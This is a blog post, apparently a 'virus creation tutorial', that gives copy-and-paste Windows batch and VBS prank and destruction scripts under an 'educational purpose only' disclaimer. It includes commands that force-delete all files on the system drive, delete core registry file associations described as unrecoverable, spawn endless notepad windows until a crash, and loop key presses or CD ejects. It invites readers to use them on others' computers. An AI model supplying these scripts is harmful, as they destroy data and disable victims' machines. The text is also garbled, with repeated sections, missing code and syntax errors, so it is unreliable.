Note:- The Following tutorial is for educational purpose only. If you harm your or your friend’s computer using the following tutorial, coolguru007 is not responsible for your loss.
I am going to provide some of my favorite .vbs codes. You can use these codes as a small term virus. Hence , you can also call this tutorial a virus creation tutorial.
-The blue screen of Death [this might be dangerous]
Code:-
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer*
code:-
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10
-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*
Code:-
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked.  Have a nice day.
GOTO MESSAGE
-Endless Notepads
-Crazy caps lock
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
Code:-
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
-Endless Backspace
*This makes it so the backspace key is constantly being pressed*
Code:-
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
-Popping CD Drives
*This will make the CD drives constantly pop out*
Code:-
I am going to provide some of my favorite .vbs codes. You can use these codes as a small term virus. Hence , you can also call this tutorial a virus creation tutorial.
To use the codes I am going to provide, all you need to do is to copy the codes and paste it in any notepad or text file, than save the text file with anyname.vbs , and yeah dont forget to change the format from text file to all files.
*NOTE* these codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.
Code:-
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer*
code:-
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10
-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*
Code:-
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked.  Have a nice day.
GOTO MESSAGE
-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*
code:-
@ECHO off
:top
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
GOTO top
*This constantly turns caps lock on and off really fast continuously*
Code:-
Set wshShell =wscript.CreateObject(“WScript.Shell”)do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
Code:-
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
-Endless Backspace
*This makes it so the backspace key is constantly being pressed*
Code:-
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
-Popping CD Drives
*This will make the CD drives constantly pop out*
Code:-
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
0 comments:
Post a Comment